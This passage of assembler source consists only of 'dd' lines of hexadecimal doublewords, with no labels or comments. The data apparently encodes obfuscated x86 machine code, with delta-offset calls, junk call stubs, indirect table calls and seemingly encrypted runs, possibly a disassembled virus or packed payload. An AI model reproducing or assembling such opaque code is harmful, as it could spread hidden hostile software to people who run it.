		dd 0C5806059h, 14E972h,	0ACB30000h, 0E86F3909h,	3ADC5312h
		dd 215D1D50h, 6503D21h,	816121B8h, 6571CAF1h, 870F526Bh
		dd 3, 5FDEB70Fh, 0BDEAE981h, 0DE93D22h,	0E000000h, 0F16E765h
		dd 6FFEC162h, 0C541CA27h, 0ED5AF181h, 830F0748h, 0Ch, 6850Fh
		dd 0F3810000h, 23EE8A03h, 27BA6651h, 0E8008FDBh, 0Eh, 3E8760Dh
		dd 5410ECD3h, 631970CAh, 81667837h, 5BFE87EBh, 0BA04E883h
		dd 63257511h, 6F850F4Eh, 0FFFFFFFh, 12E8D0B7h, 1F000000h
		dd 9CA73AADh, 0CE9F9127h, 0D3F14C48h, 1FCCE47Ah, 644BB942h
		dd 81580FC9h, 696FC0h, 0BBFB8B00h, 55AC5F62h, 4531EB81h
		dd 816655ACh, 8B6D94CFh, 8870F10h, 60000000h, 8024F480h
		dd 8161CFF0h, 2EFDB7F2h, 0C281F570h, 66040FF1h,	0CE8h
		dd 0D81B6800h, 5D1F0DA8h, 0DCCB883Bh, 0F88B66B2h, 0A4C28159h
		dd 0F35D3C8h, 6652F6BFh, 8FF08Bh, 14E9h, 3DC71600h, 4AB054E6h
		dd 4C91E2D6h, 7BBF89E8h, 7EB85DCAh, 4E88332h, 11E9h, 78492200h
		dd 62E7B133h, 50AC2C69h, 6898037Fh, 0F4BE9D2h, 0FFFF8685h
		dd 0F18166FFh, 0C08BC81Fh, 8DDBD83h, 75000622h,	21BD8309h
		dd 6220Ah, 53501974h, 21B8C08Bh, 89000004h, 221B3985h
		dd 0C99D8D06h, 0FF0624BFh, 83585BD3h, 220A21BDh, 17740006h
		dd 21B85350h, 89000004h, 221B3985h, 0B89D8D06h,	0FF0624BCh
		dd 8B585BD3h, 8D9D8BC0h, 0C6062211h, 22330985h,	52685606h
		dd 0FF9CA8B8h, 222649B5h, 0BE858D06h, 0FF06257Dh, 68046AD0h
		dd 1000h, 263DB5FFh, 6A0622h, 0C085D0FFh, 0D850Fh, 0B80000h
		dd 8D000000h, 2276A48Dh, 8BE1FF06h, 3C38BC8h, 0F8053C40h
		dd 8B000000h, 0D3030C50h, 10ADBD83h, 0F000622h,	0E84h
		dd 0AD9D8B00h, 8B062210h, 2221C985h, 51038906h,	1F858D52h
		dd 0FF062245h, 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h, 22330985h
		dd 39685606h, 0FFD41F6Dh, 222649B5h, 0BE858D06h, 0FF06257Dh
		dd 800068D0h, 6A0000h, 8BD0FF52h, 0DDBD83C0h, 62208h, 0BD830975h
		dd 6220A21h, 50197400h,	0B8C08B53h, 421h, 0E598589h, 9D8D0622h
		dd 624C030h, 585BD3FFh,	0A21BD83h, 74000622h, 0B8535017h
		dd 421h, 0E598589h, 9D8D0622h, 624BCD1h, 585BD3FFh, 9D8DC08Bh
		dd 62210ADh, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h
		dd 8E80000h, 0B4000000h, 9EA2824Ah, 0F9209E7h, 0B87h, 58F0F00h
		dd 66000000h, 9F27F281h, 7BC6815Eh, 8B0000EAh, 60FF2BC2h
		dd 14E8h, 25B1C100h, 3B9050F7h,	81ACEB7Dh, 0A8946DF8h
		dd 8C2A1229h, 5A616042h, 830Fh,	0FF610000h, 0DA8B3734h
		dd 38A0F59h, 0F000000h,	0E981C3B7h, 6C729917h, 81C2B70Fh
		dd 0C06678F1h, 0C4B86619h, 0C1E98117h, 664D7060h, 0EBCCE881h
		dd 0A2B75151h, 3E048F5Ah, 8B68C780h, 2EF83DAh, 15890Fh
		dd 10E90000h, 0C8000000h, 0B3C95CA2h, 0CD686906h, 0DB960D29h
		dd 4F79A334h, 88F0F4Fh,	56000000h, 880Fh, 815B0000h, 0FF1670FFh
		dd 19850FFFh, 0F9000000h, 2DE9h, 0D4DB7600h, 0A6E9FA21h
		dd 0F781E5F1h, 25256F0Ch, 0C7111E3h, 97EEE081h,	68E94A27h
		dd 3FFFFFFFh, 0D62118A4h, 0D8DA220Fh, 750553D1h, 0BAE9D382h
		dd 44000000h, 0BAE70E39h, 161B72D1h, 8EB3DA69h,	0F82940FBh
		dd 685EA996h, 3F4F88h, 75D2B8E9h, 0D863151Ah, 43FC80B1h
		dd 0C4582128h, 411359B4h, 776DB559h, 67203902h,	0C2059573h
		dd 7239C2AEh, 3BD9B031h, 0E70C5987h, 0D64DFAAh,	73A9B69Bh
		dd 3014C891h, 329646F7h, 4846BA68h, 467CD3D5h, 5BE8A51Eh
		dd 7B0BE316h, 0C6BF9F9Bh, 6AB6822Ch, 0C9Dh, 0E65F4100h
		dd 51AF70CFh, 2AD301BAh, 3D067790h, 8EB9C3E8h, 0DF68105Dh
		dd 2A19618Eh, 7DCAB4F9h, 0CC7B0328h, 1C27529Fh,	6EDDA2CFh
		dd 0BC8BF03Dh, 3368696Fh, 0E9062962h, 0FFF92003h, 0D8B31B91h
		dd 0E8EEDAD0h, 77C700ABh, 19CAFE35h, 9EA806AEh,	648A4226h
		dd 0ABA806AFh, 3C75EAD5h, 84A806AFh, 0BA8A4227h, 7157AE5Dh
		dd 2C8A4224h, 0ABA806ACh, 0F775EAD5h, 0A7A806ACh, 718A4224h
		dd 21A806ADh, 0EB8A4225h, 0ABA806ADh, 2575EAD5h, 30B0D42Fh
		dd 0C0031303h, 5281334Dh, 210C90A7h, 0D121578Bh, 43A377D9h
		dd 3075D42Fh, 0C0031303h, 52813355h, 20BF90A7h,	0D121578Bh
		dd 43A377D5h, 3124D42Fh, 0C0031303h, 528132A1h,	206B90A7h
		dd 0D121578Bh, 43A37621h, 328DD42Fh, 0C0031303h, 528132ADh
		dd 23E490A7h, 0D121578Bh, 43A3763Dh, 3207D42Fh,	0C0031303h
		dd 528132B9h, 237A90A7h, 0D121578Bh, 43A37635h,	3399D42Fh
		dd 0C0031303h, 52813281h, 22E090A7h, 0D121578Bh, 43A3760Dh
		dd 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 6CE9C7C0h, 0A8ED96A4h, 458A152Ah, 67A02429h,	0BAB496E3h
		dd 54A1D5ADh, 0C6CB152Ah, 0BA415564h, 0CE75EAD5h, 4D3AAE63h
		dd 848C3702h, 11AB5342h, 55FFEA22h, 0ABA4245Dh,	0B9CF9C3Ah
		dd 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h
		dd 0B9CFD226h, 54A851A2h, 4162AD6Ch, 660351A2h,	0EE27BFEAh
		dd 3FB6DB2Fh, 94751303h, 0D9020112h, 6CE10BA0h,	0EC79AEA4h
		dd 41AE51A1h, 4A22DC09h, 0BA8C3C41h, 0DF103773h, 0C821732Ah
		dd 7DC34F28h, 0FD5BEA2Ch, 508C152Bh, 5B009881h,	0ABAE78C9h
		dd 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 6CEE87C0h, 5CDDDAA4h
		dd 828668A1h, 54A8ADE7h, 0BACC152Ah, 76BE0430h,	0CE529E2Ch
		dd 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h, 6CE10BA0h, 0D79AEA4h
		dd 2320949Ah, 328C551Ah, 6E218481h, 29215DDFh, 174D6h
		dd 5C6A985Eh, 0A901402Ah, 34549521h, 458A15C2h,	0BE290BA2h
		dd 43A371C3h, 0DFA02429h, 4D1957h, 54A8515Eh, 0D775532Ah
		dd 528A47F7h, 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h
		dd 6CE10BA0h, 0D79AEA4h, 2320949Ah, 328C651Ah, 6E218481h
		dd 29215DDFh
		dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h
		dd 116F5DDFh, 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h
		dd 454A38F2h, 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h
		dd 862DA055h, 45869025h, 0A32851A2h, 8E4B7332h,	972337AAh
		dd 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh
		dd 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh
		dd 76582622h, 8C22FD62h, 458AD507h, 0AB54D1A2h,	45939125h
		dd 5D1151A2h, 0B28A152Ah, 5B7AD453h, 458A1FAFh,	5610E0A2h
		dd 0EF4B93E2h, 7F039191h, 38031957h, 1123305Eh,	4D48DCD6h
		dd 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh
		dd 9D00B92Ah, 0D4A7B222h, 860085E1h, 4A22DC08h,	0BA8C3C41h
		dd 0FEF8E173h, 2E949FA7h, 8557578Bh, 6E20D6A0h,	29215DDFh
		dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h
		dd 116F5DDFh, 458A15D6h, 54AFE9A2h, 0D775152Ah,	528A79BBh
		dd 0C8204526h, 7DC34F28h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h
		dd 50AC5962h, 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
		dd 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh
		dd 0FE0451A2h, 53DF87D5h, 8C235780h, 0EF491786h, 3FB6DB2Fh
		dd 94751303h, 0BD28E9C4h, 8600BE4Ch, 58D57A08h,	247668A3h
		dd 9D541429h, 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh
		dd 457650EDh, 0F8A851A2h, 1018EA80h, 0DFAE73B4h, 8558B9E2h
		dd 4A32DC08h, 0BA8C3C41h, 94103771h, 0CF2173E3h, 2983FB63h
		dd 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh
		dd 292359D7h, 0B9CFD226h, 54A851A2h, 0D775BF86h, 528A47F7h
		dd 7726DDA1h, 0CE25FB63h, 43A37E34h, 0ECCE825Dh, 0EEECE4AAh
		dd 7F029028h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h
		dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah
		dd 0D903376Bh, 6CE10BB0h, 327BAEA4h, 234B9592h,	0FE04FD09h
		dd 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h
		dd 5CDDDAC2h, 828668A1h, 54A8ADE7h, 0FDEC152Ah,	0FFCEB824h
		dd 2E948FA7h, 8757578Bh, 320A09Ah, 0CE25FB0Eh, 43A37E34h
		dd 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
		dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 6CEDAFC0h
		dd 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h
		dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah
		dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh
		dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43A377C5h
		dd 9232DCF1h, 0BA8C3C49h, 0A8EDD871h, 458A42C3h, 58DDAEA2h
		dd 0C88260D5h, 7DCAAE38h, 0DF07462Ch, 52813264h, 3C6D5h
		dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 26818FA7h, 0D9FB578Bh
		dd 6CE9D3B0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh
		dd 4332DCAAh, 168C3C49h, 376ECB2Fh, 96751303h, 0BD54142Bh
		dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 2AE900h
		dd 4C70000h, 24h, 0E800h, 815D0000h, 296896EDh,	24448B06h
		dd 15858904h, 0B8062208h, 0
		dd 50B18D8Dh, 0E1FF0622h, 6754B8h, 6E800h, 5B260000h, 0D1F9E977h
		dd 59DA8B66h, 10E952h, 2B40000h, 0EB4A0F0Eh, 990A3D43h
		dd 9450FB97h, 815B69EDh, 5B46C1h, 0BED38B00h, 16A7h, 0D1E88166h
		dd 0F31FFC0h, 680h, 68E88100h, 5F33114Fh, 8E952h, 0A16E0000h
		dd 91F6961Eh, 815A9DF8h, 722FECEFh, 0D0BF0F6Bh,	0A0DDF781h
		dd 0BA66544Ah, 0F781F189h, 5DCDBB0Bh, 4CD7B866h, 4850F57h
		dd 66000000h, 8F95A1BAh, 10E901h, 0E0230000h, 0FE8D1635h
		dd 37B9FE83h, 0E2AD377Eh, 0E98145F6h, 61E161FDh, 0B90EE081h
		dd 0C1812268h, 61E161F9h, 0F4EF08Ah, 0FFFF8885h, 0D38B66FFh
		dd 75FDED55h, 76F67A5Eh, 56E669A4h, 0ABFD49BCh,	9FD2DDEh
		dd 4EFD2DF0h, 0ACFD2DE7h, 9EFD2D6Ah, 74FD2DAFh,	5DFD2D4Ah
		dd 32FD2D3Bh, 29FD2D83h, 54FD2DDFh, 2DFD2DF0h, 86FD2DE7h
		dd 0E3FD2D6Ch, 0C0FD2DA8h, 0ADFD2D4Ah, 69FD2D3Bh, 0BDFD2D81h
		dd 9DFD2DDEh, 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh
		dd 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh
		dd 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75ABE8D9h
		dd 75ABEE95h, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h
		dd 0F0701ABCh, 73D417DAh, 1C46FFA6h, 0F0707CBEh, 73D41751h
		dd 1C86FF6Ch, 0F0707CDBh, 73D417A1h, 1C4AFF35h,	0F0707C77h
		dd 73D41717h, 1C82FF1Eh, 0F0707CE2h, 73D41612h,	1C7EFF7Bh
		dd 0F0707C50h, 73D41129h, 1C7AFFD7h, 0F0707C06h, 73D41130h
		dd 1C76FF42h, 0F0707CCCh, 73D4114Fh, 1C72FFF0h,	0F0707C95h
		dd 73D41646h, 1C66FFA6h, 0F0707CBEh, 73D4112Fh,	1C6EFF6Ch
		dd 0F0707CDBh, 73D4167Ah, 1C6AFF35h, 0F0707C77h, 73D41637h
		dd 1C66FF1Eh, 0F0707CE2h, 73D416B7h, 1C56FF7Bh,	0F0707C50h
		dd 73D416CDh, 1C52FFD7h, 0F0707C06h, 73D41603h,	1C4EFF42h
		dd 0F0707CCCh, 73D4162Fh, 1C62FFF0h, 0F0707C95h, 73D4174Ah
		dd 1C5EFFA6h, 0F0707CBEh, 73D41764h, 1C5AFF6Ch,	0F0767CDBh
		dd 73DF6C2Ch, 1C09FF35h, 0F0767C77h, 73DF5236h,	1C05FF1Eh
		dd 0B69C7CE2h, 9D11F1B0h, 75FD7AF2h, 7D17FB23h,	25FB53D7h
		dd 0FDF53FD5h, 5C9489ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h
		dd 75FD7A1Ah, 987C2779h, 73D41195h, 1C87FFA0h, 0C87D7C06h
		dd 73D413EDh, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 1C05EF86h
		dd 0FEBD7C95h, 7A452B96h, 8AFD7A2Fh, 5C948202h,	0E48F7CDh
		dd 0F8FB538Ch, 9D50FCC6h, 75FD7E4Bh, 76456FCFh,	8AFD7A5Eh
		dd 5C9482BAh, 0E48F791h, 0F8FB53A2h, 8A50FCD1h,	0BC1F2322h
		dd 1C87F787h, 2DA07C95h, 2CA32005h, 776D92ECh, 0CD4D7A97h
		dd 8A5779C1h, 5C948E70h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh
		dd 0DE9B5954h, 1C09EFD0h, 0DE9B7CBEh, 77959208h, 360B7AE5h
		dd 6E8872F3h, 1C09EF86h, 0C54D7C95h, 8AAD7954h,	5C948EBAh
		dd 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h
		dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h,	0FE4DBA07h
		dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h
		dd 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh,	75FF7B1Ah
		dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h
		dd 0FF4DBA07h, 816885B5h, 2FFB539Bh, 51FD5F1Fh,	133F71DAh
		dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h
		dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h
		dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h
		dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h,	75FCF323h
		dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh
		dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 1C05EF0Dh
		dd 0C0707C50h, 73D41303h, 7F518A5Dh, 0E002D02Ch, 73D41363h
		dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h
		dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h,	0CD9B851Ah
		dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh
		dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h
		dd 75059243h, 2D4D7A5Eh, 0B6577925h, 1C8CFF69h,	0C87D7CE2h
		dd 73D41394h, 0F8EC0FF3h, 5C9499FCh, 61152ABAh,	9DFD7A5Ch
		dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh
		dd 1C8CF787h, 0C87D7C95h, 73D4132Fh, 0F8F10F2Fh, 5C949912h
		dd 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 8D688579h, 0F8FB53D5h
		dd 5C933AC3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh
		dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 5C948ECBh, 514ACE29h
		dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h,	75FD7A27h
		dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 1C09EF68h, 917D7CE2h
		dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h
		dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 5C948270h,	0A260F7F4h
		dd 0F8FB5310h, 0CD3E39A0h, 75FD7A4Eh, 1C05EFD0h, 0B57E7CBEh
		dd 8935F1CEh, 1C09EF1Ah, 97577CDBh, 0BE15B98Eh,	0FF028543h
		dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh,	8908831Dh
		dd 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 2517FB04h,	0FCFB5341h
		dd 0CF7D86EAh, 73D41338h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h
		dd 1C05E843h, 0FCBD7C77h, 5C9486ADh, 0F835F191h, 5C925E79h
		dd 816F85E3h, 0FDFB539Bh, 801F3C7Fh, 75FD6D04h,	897F795Eh
		dd 35FB5346h, 1AE5E01Ah, 0B67E7CE2h, 22FEF3E1h,	75FD644Bh
		dd 89777979h, 0F8FB53D5h, 5C927CECh, 2B598929h,	75FD722Fh
		dd 8D6F85CBh, 0F6FB538Ch, 85897E0Ah, 72447C71h,	7DFD7ABCh
		dd 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh,	75FD765Ch
		dd 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh
		dd 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh
		dd 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h
		dd 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h
		dd 2FFD7A2Fh, 1ACA9016h, 0CF707CE2h, 73D410E5h,	0CCF50F79h
		dd 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 1FFDE7A2h,	497D7CBEh
		dd 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh
		dd 517FB04h, 0F8FB5340h, 5C977A25h, 7D80F1CDh, 75FD725Ch
		dd 145989F2h, 75F9B8B0h, 7540F7DCh, 46FB5334h, 75F5C3EFh
		dd 0DF0E7A97h, 0F89DB9AAh, 5C977A58h, 74C2FBF4h, 0FC7B78h
		dd 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h,	7540F7ABh
		dd 0CDFB538Fh, 75FD7AF3h, 75FD72C0h, 145789BCh,	0FE3DF19Dh
		dd 7878F7EFh, 8AFB53FDh, 0E9CA8BD0h, 3Bh, 0ADBD8B60h, 83062218h
		dd 0C93304EFh, 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h
		dd 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh,	0F98107h
		dd 0F000001h, 0FFFFD382h, 8BC361FFh, 0CE8C8h, 6F2A0000h
		dd 44508B53h, 0CF308ACh, 81662A0Bh, 58CB4CC3h, 38B0Fh
		dd 8B660000h, 0DDC081F3h, 53000070h, 1C01685Ah,	0B70F0000h
		dd 0A1BE59D0h, 0FF644AE4h, 0E0806030h, 6130B1BCh, 93C2805Fh
		dd 0FAFBEF81h, 0BF0F25CFh, 0F3C781D1h, 0E85708B9h, 0Eh
		dd 2231E7D6h, 0FAE2495Ch, 8B67172Ch, 815ED1D4h,	0FA2311F7h
		dd 0F38B6655h, 5E857h, 0B3520000h, 66E8D2E1h, 24EDDA81h
		dd 0BE008F5Eh, 42894267h, 0E904E883h
		dd 0Ch,	754C6C61h, 8E1694C3h, 83F99B09h, 0F01E983h, 1F85h
		dd 8E800h, 0A5430000h, 162391E3h, 0E95E0053h, 2Bh, 4D3C1A6Ch
		dd 0DA940724h, 2F099A1Ah, 68E0Fh, 0C3810000h, 1895C40Bh
		dd 0FFFF62E9h, 0E1355DFFh, 22C9ADBCh, 0CA225F04h, 8DB322FEh
		dd 2971E78Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 4DB4DC75h, 57A56F8Ch, 33F18D89h
		dd 0B58B0622h, 6223511h, 2D3185C7h, 58100622h, 0EE90000h
		dd 0C1000000h, 0E1326AFBh, 8629D4A3h, 9DF208A5h, 0E585C708h
		dd 62230h, 60000000h, 8D9D89h, 0BE90622h, 3B000000h, 0FE770A5Bh
		dd 86C1DA45h, 0FF613D0Dh, 221281B5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0E77FD4B9h
		dd 0D36B61BBh, 11858B30h, 0FF06222Dh, 22206595h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 9600D42Ch, 0BF6627F0h, 896005DFh, 2225818Dh,	25B52906h
		dd 6106222Ch, 95FF006Ah, 6223075h, 2FEBC08Bh, 49F3B3A4h
		dd 44C0B86Fh, 0A2BEE31Ch, 2CA78A82h, 7AEBC332h,	2358D5CCh
		dd 0AD0A090Fh, 90879237h, 3AFF9A68h, 37D13491h,	6181E7A6h
		dd 8D7BAD86h, 2972A78Dh, 6D9D3106h, 8906221Dh, 2233F18Dh
		dd 6840F06h, 89000000h,	2210F585h, 3185C706h, 0D406222Dh
		dd 0E900005Fh, 0Fh, 75A6B58Eh, 1F64CDE5h, 63270E6Ah, 0C7AF3A65h
		dd 2230E585h, 6, 8E96000h, 56000000h, 6128EE1Ah, 0E938D1EFh
		dd 7, 0D3DDC4E5h, 61BF47C6h, 1311B5FFh,	7E90622h, 0D6000000h
		dd 1ED6DEEAh, 95FF373Dh, 6222065h, 220DB58Bh, 0BD2B0622h
		dd 6221A6Dh, 95FF006Ah,	6223075h, 4BEBC08Bh, 47397114h
		dd 3DF268B8h, 50FFD0A3h, 0D690B5A8h, 0C27463E8h, 0FFCE283h
		dd 0F32AE368h, 7C6CB196h, 0AC58F826h, 0DAF21F3Ch, 0FF377088h
		dd 73757CF1h, 26366B15h, 8E3E682h, 4A396AD0h, 96FB8D95h
		dd 173FF309h, 0B884F300h, 8DDE423Fh, 222CD59Dh,	1300B806h
		dd 85890000h, 62214F1h,	0E8h, 0D055800h, 89000000h, 1300E903h
		dd 4C0h	dup(0)
		dd 16EB0000h, 5	dup(0)
		dd 3FC0101h, 6290000h, 1AC59529h, 0BB660622h, 0B5902B59h
		dd 0BA665086h, 299092A8h, 22322985h, 0D0BA6606h, 6A006A1Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 67ACC350h, 40E28166h, 0B8E0FBCh, 60000000h
		dd 18D8589h, 8B660622h,	6A61C7h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 18h, 1BC35646h, 0E3300524h, 235B589h
		dd 8D8B0622h, 6221B55h,	879D858Dh, 6A0629h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B69A2C3h
		dd 0F6050FBh, 28Ch, 61616000h, 0F8240489h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0A2C92DC3h, 0B70FBDD3h, 6A006ADEh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0C8CC351h
		dd 76B3B9F2h, 0A7E38106h, 0FF0C0781h, 22355595h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 6689FAC1h, 0E363C781h, 5E8h,	0A4A4CB00h, 880F6D6Fh
		dd 6, 0A45BD8Bh, 335B0622h, 222ACD8Dh, 651E906h, 9D8B0000h
		dd 6221629h, 0CE9h, 7EF37200h, 1B705CDBh, 2AA8BF40h, 0E80Ah
		dd 815D0000h, 2987A2EDh, 68C0F06h, 8B000000h, 2231A995h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8E9CAC2h, 0BB000000h, 0E3CEC8C7h, 68D5A3B0h
		dd 5EBE3558h, 0EE8h, 0B02CED00h, 0EC9401D2h, 4CC4CEE3h
		dd 0FC9A72Dh, 1786h, 11E800h, 0E63F0000h, 2F28BCC6h, 0A07C26C8h
		dd 2B5C64ACh, 5BDFB996h, 2434815Bh, 5EBE3AF8h, 95FFC88Bh
		dd 6223075h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	2C35646h, 29F714E4h, 861CB58Dh,	6A0629h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 3366B2C3h, 221DFD9Dh, 5206C706h, 536D6765h, 446C75Ah
		dd 6C636E6Fh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	0BDC35747h, 0D918ACB4h,	45A44A8Eh, 0D952918h, 0C7062206h
		dd 73610846h, 6A0073h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0D2811DC3h, 2DCFE881h, 0AE8h, 0AB84B400h
		dd 0FE7DB4CCh, 60232AF3h, 7174B866h, 0DBCB1FBAh, 6A5B612Ch
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0DC147BD1h, 0F1853425h, 11E90Ah,	7D510000h
		dd 1E85BB39h, 3C7B7912h, 5C44DDCh, 8D2E8690h, 29861C85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 9A51E3E5h, 0D8C3991Eh, 8B665240h, 536050D9h
		dd 310F5250h, 615E585Ah, 80240489h, 95FF85E7h, 6220165h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 69C35545h
		dd 0F21974Fh, 58Ah, 7E1EBA00h, 0C00B16EDh, 33840Fh, 8D8B0000h
		dd 62204E1h, 3E0E9h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 6880FE0h, 81000000h, 6E1840DFh
		dd 4E849h, 12C0000h, 0BF660000h, 8B50AD29h, 0F042444h
		dd 1B86h, 0E8525000h, 0Fh, 5BF9836Fh, 9CB0320h,	2C8C9C9Eh
		dd 5AE7CB61h, 585A310Fh, 0CE8B008Bh, 4244489h, 79CB60B9h
		dd 6A582Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0F30FADC3h, 307595FFh, 6A0622h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 216EA3C3h
		dd 2179184Ch, 85896065h, 62227D5h, 0B58D61F5h, 629861Ch
		dd 211BD8Bh, 8D890622h,	62200A5h, 383106C7h, 8B663634h
		dd 446C7D7h, 31342D37h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 7FC35242h, 0FD977B4Ah, 8A9874E1h, 659D8BF7h
		dd 0C706222Ch, 846h, 13E90000h,	6F000000h, 40D7F907h, 0E43A69Bh
		dd 8C6892DEh, 0E41C77B8h, 6AC67Eh, 0E852006Ah, 3, 5AC35A20h
